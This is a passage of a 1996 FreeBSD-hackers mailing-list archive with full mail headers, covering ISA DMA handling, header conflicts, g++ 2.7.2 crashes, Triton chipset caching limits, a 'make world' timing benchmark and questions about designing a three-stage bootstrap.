interrupt after a call to isa_dmastart had in mind?? The last time I mucked around with the isadma stuff, I left the semantics of dma_busy alone. Currently, dmadone will just flip some flags and copy the bounce buffer if need be. This may change though, for example NetBSD does all sorts of things in isa_dmadone. Sujal From owner-freebsd-hackers Sun May 12 23:53:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA23803 for hackers-outgoing; Sun, 12 May 1996 23:53:00 -0700 (PDT) Received: from nike.efn.org (gurney_j@garcia.efn.org [198.68.17.5]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id XAA23798 for ; Sun, 12 May 1996 23:52:56 -0700 (PDT) Received: (from gurney_j@localhost) by nike.efn.org (8.7.5/8.7.3) id XAA04549; Sun, 12 May 1996 23:06:41 -0700 (PDT) Date: Sun, 12 May 1996 23:05:20 -0700 (PDT) From: John-Mark Gurney Reply-To: John-Mark Gurney To: FreeBSD Hackers Subject: conflict in headers machine/console.h and sys/types.h Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hello... I'm in the middle of porting over a very kool graphics program (that I wrote for dos) and right now I'm having a bit of a problem when I include both of these headers... I end up with key_t defined in both but as different things... is the only real way to resolve this not to use them in the same module? I'm running 2.2-960323-SNAP as my system... if there has been a fix for this I would be appricative... Thanks... TTYL... John-Mark gurney_j@efn.org http://resnet.uoregon.edu/~gurney_j/ Modem/FAX: (541) 683-6954 (FreeBSD Box) Live in Peace, destroy Micro$oft, support free software, run FreeBSD (unix) From owner-freebsd-hackers Mon May 13 00:39:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA26659 for hackers-outgoing; Mon, 13 May 1996 00:39:47 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id AAA26636 Mon, 13 May 1996 00:39:06 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id RAA18505; Mon, 13 May 1996 17:17:11 +0930 From: Michael Smith Message-Id: <199605130747.RAA18505@genesis.atrad.adelaide.edu.au> Subject: Re: snd in -current, vmix, misc To: hasty@rah.star-gate.com (Amancio Hasty Jr.) Date: Mon, 13 May 1996 17:17:09 +0930 (CST) Cc: smpatel@umiacs.umd.edu, multimedia@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <199605130320.UAA10431@rah.star-gate.com> from "Amancio Hasty Jr." at May 12, 96 08:20:29 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Amancio Hasty Jr. stands accused of saying: > > Oh, I can call isa_dmadone however I think is a waste unless we intent > to shared dma channels and even then it makes no sense. I wonder > what the engineer who decided that we shall call isa_dmadone > after we get a dma interrupt after a call to isa_dmastart had in mind?? DMA hardware independance. One-stop-shop handling of DMA hardware quirks etc. > Amancio -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon May 13 01:57:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA02666 for hackers-outgoing; Mon, 13 May 1996 01:57:13 -0700 (PDT) Received: from babar.INS.CWRU.Edu (majord@babar.INS.CWRU.Edu [129.22.8.213]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA02658 for ; Mon, 13 May 1996 01:57:10 -0700 (PDT) Received: (majord@localhost) by babar.INS.CWRU.Edu (8.6.13+cwru/CWRU-2.3) id EAA13376; Mon, 13 May 1996 04:51:02 -0400 (from owner-bash-testers for bash-testers-out) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by babar.INS.CWRU.Edu with SMTP (8.6.13+cwru/CWRU-2.3) id EAA13364; Mon, 13 May 1996 04:50:44 -0400 (from dutchman@spase.nl for ) Received: from spase by ns.NL.net via EUnet id AA17922 (5.65b/CWI-3.3); Mon, 13 May 1996 10:13:47 +0200 Received: from phobos.spase.nl (phobos [192.9.200.238]) by mercurius.spase.nl (8.6.11/8.6.11) with ESMTP id KAA27842 for ; Mon, 13 May 1996 10:05:47 +0200 From: Kees Jan Koster Received: (dutchman@localhost) by phobos.spase.nl (8.6.12/8.6.11) id KAA28763 for bash-testers@po.cwru.edu; Mon, 13 May 1996 10:06:58 +0200 Message-Id: <199605130806.KAA28763@phobos.spase.nl> Subject: -v flag description not in manual To: bash-testers@po.cwru.edu (Shell) Date: Mon, 13 May 1996 10:06:57 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hoi bashers, Nothing much, but there does not seem to be a description of the -v commandline option. Eeehhh... am I right to think that I'm automatically subscribed to this list? Groetjes, Kees Jan ======================================================================v== Kees Jan Koster e-mail: dutchman@spase.nl Van Somerenstraat 50 tel: NL-24-3234708 6521 BS Nijmegen the Netherlands ========================================================================= Who is this general Failure and why is he reading my disk? (anonymous) ========================================================================= From owner-freebsd-hackers Mon May 13 02:06:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA03958 for hackers-outgoing; Mon, 13 May 1996 02:06:56 -0700 (PDT) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA03935 for ; Mon, 13 May 1996 02:06:46 -0700 (PDT) Received: from spase by ns.NL.net via EUnet id AA18867 (5.65b/CWI-3.3); Mon, 13 May 1996 10:23:06 +0200 Received: from phobos.spase.nl (phobos [192.9.200.238]) by mercurius.spase.nl (8.6.11/8.6.11) with ESMTP id KAA28077 for ; Mon, 13 May 1996 10:22:53 +0200 From: Kees Jan Koster Received: (dutchman@localhost) by phobos.spase.nl (8.6.12/8.6.11) id KAA29130 for freebsd-hackers@FreeBSD.ORG; Mon, 13 May 1996 10:24:03 +0200 Message-Id: <199605130824.KAA29130@phobos.spase.nl> Subject: Patches for gcc 2.7.2 To: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers Mailing list) Date: Mon, 13 May 1996 10:24:03 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hoi Hackers, I've tried to install g++ 2.7.2 on my 2.1.0-release machine, but it does not seem an out-of-the-box installation. I modified config/freebsd.h to not generate .weak symbols, and then g++ installs and runs all right. However, I get some weird errors from program compiled with 2.7.2. Some die on a signal 11, usually before entering main() or after exiting main(). Gdb reports the following on the particular program, when I trace main() > > 25 exit (0); > (gdb) next > > Program received signal SIGSEGV, Segmentation fault. > 0x81434f8 in free () > Before I start digging any deeper, I'd like to be sure that my g++ is good. Normally I would not bother anyone with this kind of problem, but the same code compiles and runs fine on Linux, SunOS and HP-UX and using g++ 2.6.3 on FreeBSD. This is also why I ask here instead of the gcc buglist. Could someone help me out or does anyone have patches for 2.7.2? What should I patch out/in? Groetjes, Kees Jan ======================================================================v== Kees Jan Koster e-mail: dutchman@spase.nl Van Somerenstraat 50 tel: NL-24-3234708 6521 BS Nijmegen the Netherlands ========================================================================= Who is this general Failure and why is he reading my disk? (anonymous) ========================================================================= From owner-freebsd-hackers Mon May 13 02:06:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA03962 for hackers-outgoing; Mon, 13 May 1996 02:06:57 -0700 (PDT) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA03938 for ; Mon, 13 May 1996 02:06:47 -0700 (PDT) Received: from spase by ns.NL.net via EUnet id AA18871 (5.65b/CWI-3.3); Mon, 13 May 1996 10:23:07 +0200 Received: from phobos.spase.nl (phobos [192.9.200.238]) by mercurius.spase.nl (8.6.11/8.6.11) with ESMTP id KAA28077 for ; Mon, 13 May 1996 10:22:53 +0200 From: Kees Jan Koster Received: (dutchman@localhost) by phobos.spase.nl (8.6.12/8.6.11) id KAA29130 for freebsd-hackers@FreeBSD.ORG; Mon, 13 May 1996 10:24:03 +0200 Message-Id: <199605130824.KAA29130@phobos.spase.nl> Subject: Patches for gcc 2.7.2 To: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers Mailing list) Date: Mon, 13 May 1996 10:24:03 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hoi Hackers, I've tried to install g++ 2.7.2 on my 2.1.0-release machine, but it does not seem an out-of-the-box installation. I modified config/freebsd.h to not generate .weak symbols, and then g++ installs and runs all right. However, I get some weird errors from program compiled with 2.7.2. Some die on a signal 11, usually before entering main() or after exiting main(). Gdb reports the following on the particular program, when I trace main() > > 25 exit (0); > (gdb) next > > Program received signal SIGSEGV, Segmentation fault. > 0x81434f8 in free () > Before I start digging any deeper, I'd like to be sure that my g++ is good. Normally I would not bother anyone with this kind of problem, but the same code compiles and runs fine on Linux, SunOS and HP-UX and using g++ 2.6.3 on FreeBSD. This is also why I ask here instead of the gcc buglist. Could someone help me out or does anyone have patches for 2.7.2? What should I patch out/in? Groetjes, Kees Jan ======================================================================v== Kees Jan Koster e-mail: dutchman@spase.nl Van Somerenstraat 50 tel: NL-24-3234708 6521 BS Nijmegen the Netherlands ========================================================================= Who is this general Failure and why is he reading my disk? (anonymous) ========================================================================= From owner-freebsd-hackers Mon May 13 06:36:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA20761 for hackers-outgoing; Mon, 13 May 1996 06:36:53 -0700 (PDT) Received: from neon.Glock.COM (neon.glock.com [198.82.228.159]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA20744 Mon, 13 May 1996 06:36:48 -0700 (PDT) Received: (from mmead@localhost) by neon.Glock.COM (8.7.5/8.7.3) id JAA23402; Mon, 13 May 1996 09:36:27 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605131336.JAA23402@neon.Glock.COM> Subject: Re: Triton chipset with 256k cache caches 32M only? To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Mon, 13 May 1996 09:36:26 -0400 (EDT) Cc: hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605131313.IAA04639@brasil.moneng.mei.com> from "Joe Greco" at May 13, 96 08:13:03 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Joe Greco writes: > > I've got two machine with moderately fast CPUs in them. One > > is a Cyrix 6x86 120+ (@100Mhz), and the other is a P90 (clocked > > to 100Mhz). When I have 40M in the machines, the upper 8M is not > > cached, and my performance is roughly 2/3 of that when they just > > have 32M and all of the memory is cached. > > Does anyone know for sure whether or not 256K cache Triton > > chipsets only cache up to 32M? Anyone know what I can do to get > > the other 8M cached as well? I'd really like to have that extra > > 8M in there, but at 2/3 the performance, it aint gonna happen. > > Any help is greatly appreciated! > My impression was 64M, based on past discussions with Rod Grimes. Hmm. That would then imply that there's something wrong with each of these boards, or that the manufacturer is lazy. Does anyone know if going to 512K cache will allow me to cache on all 40M ram? Thanks! -matt PS - sorry for the crosspost to hardware, but I'd really like to get an answer on this issue. -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Mon May 13 07:20:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA23642 for hackers-outgoing; Mon, 13 May 1996 07:20:16 -0700 (PDT) Received: from odin.INS.CWRU.Edu (odin.INS.CWRU.Edu [129.22.8.102]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA23629 for ; Mon, 13 May 1996 07:20:10 -0700 (PDT) Received: (chet@localhost) by odin.INS.CWRU.Edu (8.6.12+cwru/CWRU-2.2-ins) id KAA03018; Mon, 13 May 1996 10:19:57 -0400 (from chet for freebsd-hackers@freefall.freebsd.org) Date: Mon, 13 May 1996 10:15:37 -0400 From: Chet Ramey To: freebsd-hackers@freefall.freebsd.org Subject: Bash-testers mailing list Reply-To: chet@po.CWRU.Edu Message-ID: <9605131415.AA02651.SM@odin.INS.CWRU.Edu> Read-Receipt-To: chet@po.CWRU.Edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sorry for the intrusion. After several requests to do so, I have removed `freebsd-hackers@freefall.freebsd.org' from the bash-testers mailing list. If you want to be on the list of people testing new versions of bash, please send mail to majordomo@po.cwru.edu with the message subscribe bash-testers and a bit of information about who you are and what platforms (other than FreeBSD, naturally) you can use to test bash. Thanks. Chet -- ``The lyf so short, the craft so long to lerne.'' - Chaucer Chet Ramey, Case Western Reserve University Internet: chet@po.CWRU.Edu From owner-freebsd-hackers Mon May 13 07:30:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA24238 for hackers-outgoing; Mon, 13 May 1996 07:30:18 -0700 (PDT) Received: from rocket.comtrol.com (rocket.comtrol.com [204.73.219.5]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA24232 for ; Mon, 13 May 1996 07:30:14 -0700 (PDT) Received: from amirpc ([204.73.219.82]) by rocket.comtrol.com (8.6.9/8.6.9) with SMTP id JAA12177 for ; Mon, 13 May 1996 09:29:37 -0500 Date: Mon, 13 May 1996 09:29:37 -0500 Message-Id: <199605131429.JAA12177@rocket.comtrol.com> X-Sender: amir@comtrol.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: hackers@freebsd.org From: amir@comtrol.com (Amir Farah) Subject: new driver Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello I'm writing a driver for a multiport card. The config programs sees it as a tty driver and its entered in the devtab_tty[] table in ioconf.c. My problem is I don't know what major number to use when I create device files. Are they assigned dynamically as drivers are added?? Thanks amir From owner-freebsd-hackers Mon May 13 08:02:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA26553 for hackers-outgoing; Mon, 13 May 1996 08:02:59 -0700 (PDT) Received: from jolt.eng.umd.edu (jolt.eng.umd.edu [129.2.102.5]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA26548 for ; Mon, 13 May 1996 08:02:56 -0700 (PDT) Received: from ginger.eng.umd.edu (ginger.eng.umd.edu [129.2.98.204]) by jolt.eng.umd.edu (8.7.5/8.7.3) with ESMTP id LAA18702; Mon, 13 May 1996 11:02:54 -0400 (EDT) Received: (from chuckr@localhost) by ginger.eng.umd.edu (8.7.5/8.7.3) id LAA03556; Mon, 13 May 1996 11:02:32 -0400 (EDT) Date: Mon, 13 May 1996 11:02:31 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@ginger.eng.umd.edu To: Kees Jan Koster cc: FreeBSD hackers Mailing list Subject: Re: Patches for gcc 2.7.2 In-Reply-To: <199605130824.KAA29130@phobos.spase.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 May 1996, Kees Jan Koster wrote: > Hoi Hackers, > > I've tried to install g++ 2.7.2 on my 2.1.0-release machine, but it does not > seem an out-of-the-box installation. > > I modified config/freebsd.h to not generate .weak symbols, and then g++ > installs and runs all right. However, I get some weird errors from program > compiled with 2.7.2. Some die on a signal 11, usually before entering main() > or after exiting main(). I think that John Polstra's work getting ELF to work for FreeBSD (both Linux and FreeBSD native) included patches to port gcc-2.7.2. I think you ought to ask him, or check out the elfkit stuff (which includes those patches) on ftp.polstra.com. > > Gdb reports the following on the particular program, when I trace main() > > > > 25 exit (0); > > (gdb) next > > > > Program received signal SIGSEGV, Segmentation fault. > > 0x81434f8 in free () > > > > Before I start digging any deeper, I'd like to be sure that my g++ is good. > > Normally I would not bother anyone with this kind of problem, but the same > code compiles and runs fine on Linux, SunOS and HP-UX and using g++ 2.6.3 > on FreeBSD. This is also why I ask here instead of the gcc buglist. > > Could someone help me out or does anyone have patches for 2.7.2? What should > I patch out/in? > > Groetjes, > Kees Jan > > ======================================================================v== > Kees Jan Koster e-mail: dutchman@spase.nl > Van Somerenstraat 50 tel: NL-24-3234708 > 6521 BS Nijmegen > the Netherlands > ========================================================================= > Who is this general Failure and why is he reading my disk? (anonymous) > ========================================================================= > > > ========================================================================== Chuck Robey chuckr@eng.umd.edu, I run FreeBSD-current on n3lxx + Journey2 Three Accounts for the Super-users in the sky, Seven for the Operators in their halls of fame, Nine for Ordinary Users doomed to crie, One for the Illegal Cracker with his evil game In the Domains of Internet where the data lie. One Account to rule them all, One Account to watch them, One Account to make them all and in the network bind them. From owner-freebsd-hackers Mon May 13 08:23:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA27846 for hackers-outgoing; Mon, 13 May 1996 08:23:30 -0700 (PDT) Received: from neon.Glock.COM (neon.glock.com [198.82.228.159]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA27836 for ; Mon, 13 May 1996 08:23:25 -0700 (PDT) Received: (from mmead@localhost) by neon.Glock.COM (8.7.5/8.7.3) id LAA00469; Mon, 13 May 1996 11:23:21 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605131523.LAA00469@neon.Glock.COM> Subject: Re: 6x86 120+ To: phk@critter.tfs.com (Poul-Henning Kamp) Date: Mon, 13 May 1996 11:23:21 -0400 (EDT) Cc: hackers@freebsd.org In-Reply-To: <6846.831887376@critter.tfs.com> from "Poul-Henning Kamp" at May 12, 96 07:49:36 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Poul-Henning Kamp writes: > > > Can we have a number for the FreeBSD-stones ? > > > cd /usr/src > > > rm -rf /usr/obj/* > > > time make world > > Just about to sup things up to tonight's current and > > start. However, I realized that I need a little more information > > to give you a fair number. Mount filesystem with -o async? Use > > CC="cc -pipe"? I have all of /usr/src and /usr/obj going to a > > JAZ drive disk, which is slower than my system disks. Any > > instructions you wanna give me to make the number fairer will > > help. > Basically any trick is allowed, as long as you document it... Ok, follows is the setup for my FreeBSD-stones. real memory = 33554432 (32768K bytes) avail memory = 31383552 (30648K bytes) sd1: (ahc0:1:0): "MICROP 4110-09NB_Nov18F TN0F" type 0 fixed SCSI 2 sd2: (ahc0:2:0): "iomega jaz 1GB G.54" type 0 removable SCSI 2 /usr/src on sd2, a fairly slow disk drive. /usr/obj on sd1, a fairly fast disk drive. The partition where /usr/obj lives was mounted async. Make statement: /usr/bin/time -l make world CC="cc -pipe" Results: 12035.39 real 8060.46 user 1844.79 sys 7164 maximum resident set size 803 average shared memory size 775 average unshared data size 167 average unshared stack size 10879030 page reclaims 8205 page faults 0 swaps 54843 block input operations 44316 block output operations 0 messages sent 0 messages received 8 signals received 375162 voluntary context switches 289312 involuntary context switches That looks very good to me. Finished in 3.34 hours. I'm not complaining... :-) -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Mon May 13 08:47:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA29594 for hackers-outgoing; Mon, 13 May 1996 08:47:47 -0700 (PDT) Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id IAA29583 for ; Mon, 13 May 1996 08:47:37 -0700 (PDT) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id LAA01112; Mon, 13 May 1996 11:46:37 -0400 From: Bill Paul Message-Id: <199605131546.LAA01112@skynet.ctr.columbia.edu> Subject: Making a three-stage boot To: freebsd-hackers@freebsd.org Date: Mon, 13 May 1996 11:46:36 -0400 (EDT) Cc: wpaul@skynet.ctr.columbia.edu (Bill Paul) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Lately I've been experimenting with creating a three-sgate bootstrap program. (No, I don't know why. It isn't as if I don't have enough to do already.) Unfortunately, much as I expected, I've hit a wall. And I can't get up. The idea I had was to create a bootstrap similar to the one used by SunOS, which works as follows: - There is a standalong program called /boot. This program should run in protected mode, but have the same ability to perform real mode BIOS operations as the existing second-stage bootstrap. I believe it has to be limited to having at most 64K of text and data, though I may be mistaken about this. This is the program which will ultimately read the kernel image from the filesystem and run it. - The /boot program is loaded by a second stage bootstrap, which is by design very dumb and limited in function. It has a compiled-in array of disk blocks which tell it where the the /boot program resides on disk. It also has a compiled-in value for the filesystem blocksize, and possibly some other magic values. In essence, this second stage is very much like the one we have now, except that it can only load one program: it doesn't need to know how the filesystem is structured since it knows exactly what blocks to look for, which means it doesn't need any code to grok a UFS filesystem; it doesn't need any keyboard or serial port I/O code since it doesn't have to interact with the user. All it needs to do is read a list of pre-defined sectors and jump to the new program. - The second stage bootstrap is read in by the first stage, which is a boot block exactly like the one we have now. Now, here's how this is used: when the operating system is installed, the first and second stages are written to disk using a special installboot program (which may be merged with disklabel to simplify things). The installboot program actually scans the standalone /boot program and determines what physical blocks it occupies on disk, as well as the underlying filesystem blocksize. This information is then patched directly into the second stage bootstrap image and the patched image is then slapped onto the disk. I started by writing a simple installboot program, which at this point only scans the /boot program and patches a second stage image -- I'm still using disklabel to write the patched images to disk. The patching is done by compiling the initial bootstrap images with the disk block arrays populated with magic numbers. The installboot program reads in the second stage image and stops when it reaches the magic numbers, then overwrites them with the proper disk block values. (This is ugly, but it's the only way I could find to do it without a symbol table.) What I'm really trying to do here is effectivaly split the existing second stage into two pieces: rather than giving the second stage all the brains, which takes up too much space, I want to move most of the work into third stage and make the second stage just smart enough to load it. Also, by patching values into the bootstrap, we can save other information, such as the proper disk geometry of the boot drive, or anything else that it would be useful to save. The one restriction here is that /boot must remain where it is. If it is moved, the installboot program must be run again in order to install a new second stage boot with a new set of physical block numbers. Now all I have to do is turn the existing second stage bootstrap into a standalone program. Unfortunately, I don't know how to do it. There are several questions I can't answer: - The standalone image obviously needs some sort of assembly language startup routine, only I'm not adept enough at 386 protected-mode assembly language to write it myself. (What would really help is if we had some sort of 'libsa' standalone library. 4.4BSD-Lite had one for the i386 architecture, but it relied on special protected-mode drivers. It would be terrific if we had one that used the BIOS instead.) - Assuming I had a startup routine (and the right code to do the real-mode BIOS operations), how exactly do I link the image? o Should it be a ZMAGIC binary like the kernel? Or should it be OMAGIC like the existing bootstrap? o What start address should it be linked for? Should it be linked at address 0 like the bootstrap or should it be linked for the address at which it will be loaded, like the kernel? o For that matter, where in memory should it be loaded? o Should it have an a.out header or not? o Should it be stripped? - How do I hand off control to the standalone image from the second stage bootstrap? Can I use the same startprog() routine that the existing bootstrap uses to kick off the kernel? If not, what do I use instead? After hunting around a bit, I discovered a bootstrap program from OSF Mach version 3 which seems to be similar to what I need, but it appears to be incomplete: there is a mach_kboot program which is meant to be loaded in place of the kernel that starts in protected mode and then copies itself over the existing bootstrap. I was even able to compile and link the mach_kboot program in FreeBSD. Unfortunately, this is only the 'third' stage and the first and second stages appear to be incomplete or missing (meaning that I can't find the code that loads and runs this part of the bootstrap, which is what I really need). The README with he code gives some clues but doesn't tell me everything I need to put all the pieces together. Basically, this is deep magic, and I'm not yet a clever enough magician to make it all work. I _want_ to learn how to do this, but I'm not making much progress. If anyone can shed some light on this subject, either by pointing me at some in-depth documentation (that preferably doesn't need to be viewed with a stinking web browser) or answering some of the above questions, I'd greatly appreciate it. -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= License error: The license for this .sig file has expired. You must obtain a new license key before any more witty phrases will appear in this space. ============================================================================= From owner-freebsd-hackers Mon May 13 11:16:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA10110 for hackers-outgoing; Mon, 13 May 1996 11:16:15 -0700 (PDT) Received: from mail.barrnet.net (mail.barrnet.net [131.119.246.7]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA10102 for ; Mon, 13 May 1996 11:16:12 -0700 (PDT) Received: from palmer.demon.co.uk ([158.152.50.150]) by mail.barrnet.net (8.7.5/MAIL-RELAY-LEN) with ESMTP id LAA01667 for ; Mon, 13 May 1996 11:16:00 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id TAA14585 ; Mon, 13 May 1996 19:10:00 +0100 (BST) To: Kees Jan Koster cc: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers Mailing list) From: "Gary Palmer" Subject: Re: Patches for gcc 2.7.2 In-reply-to: Your message of "Mon, 13 May 1996 10:24:03 +0200." <199605130824.KAA29130@phobos.spase.nl> Date: Mon, 13 May 1996 19:10:00 +0100 Message-ID: <14582.832011000@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Kees Jan Koster wrote in message ID <199605130824.KAA29130@phobos.spase.nl>: > Could someone help me out or does anyone have patches for 2.7.2? What should > I patch out/in? Have you tried the pgcc port? It is GCC 2.7.2 and has the Pentium optimization patches already applied... I'm not 100% sure if it will work out of the box on -stable tho. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Mon May 13 11:30:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA11376 for hackers-outgoing; Mon, 13 May 1996 11:30:11 -0700 (PDT) Received: from neon.Glock.COM (neon.glock.com [198.82.228.159]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA11330 Mon, 13 May 1996 11:30:02 -0700 (PDT) Received: (from mmead@localhost) by neon.Glock.COM (8.7.5/8.7.3) id OAA02591; Mon, 13 May 1996 14:29:42 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605131829.OAA02591@neon.Glock.COM> Subject: Re: Triton chipset with 256k cache caches 32M only? To: blh@nol.net (Brett L. Hawn) Date: Mon, 13 May 1996 14:29:42 -0400 (EDT) Cc: jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG, hardware@FreeBSD.ORG In-Reply-To: from "Brett L. Hawn" at May 13, 96 01:24:52 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brett L. Hawn writes: > On Mon, 13 May 1996, matthew c. mead wrote: > > Joe Greco writes: > > > > I've got two machine with moderately fast CPUs in > > > > them. One is a Cyrix 6x86 120+ (@100Mhz), and the other > > > > is a P90 (clocked to 100Mhz). When I have 40M in the > > > > machines, the upper 8M is not cached, and my performance > > > > is roughly 2/3 of that when they just have 32M and all of > > > > the memory is cached. > > > > Does anyone know for sure whether or not 256K cache > > > > Triton chipsets only cache up to 32M? Anyone know what > > > > I can do to get the other 8M cached as well? I'd really > > > > like to have that extra 8M in there, but at 2/3 the > > > > performance, it aint gonna happen. Any help is greatly > > > > appreciated! > > > My impression was 64M, based on past discussions with Rod > > > Grimes. > > Hmm. That would then imply that there's something wrong > > with each of these boards, or that the manufacturer is lazy. > > Does anyone know if going to 512K cache will allow me to > > cache on all 40M ram? Thanks! > Assuming that these are Triton-1 chipsets you will find that > anything over 64m leads to non-caching. I would highly suggest > getting some of the new ASUS (just my particular favorite) tr-2 > chipset motherboards, these solve the caching problem along > with many of the other inherent bugs of tr-1 chipsets. Well, I'm positive that anything over 64M will lead to non-caching. I'm also positive that anything over 32M leads to non-caching. Any ideas on what I should do to get the upper 8M (megs 32-39) cached? I'm thinking of purchasing a 512k COAST module, but I want to make sure that will do it before I buy it. -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Mon May 13 11:30:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA11444 for hackers-outgoing; Mon, 13 May 1996 11:30:39 -0700 (PDT) Received: from nol.net (root@dazed.nol.net [206.126.32.101]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA11420 Mon, 13 May 1996 11:30:27 -0700 (PDT) Received: from dazed.nol.net (blh@dazed.nol.net [206.126.32.101]) by nol.net (8.7.5/8.7.3) with SMTP id NAA12806; Mon, 13 May 1996 13:24:53 -0500 (CDT) X-AUTH: NOLNET SENDMAIL AUTH Date: Mon, 13 May 1996 13:24:52 -0500 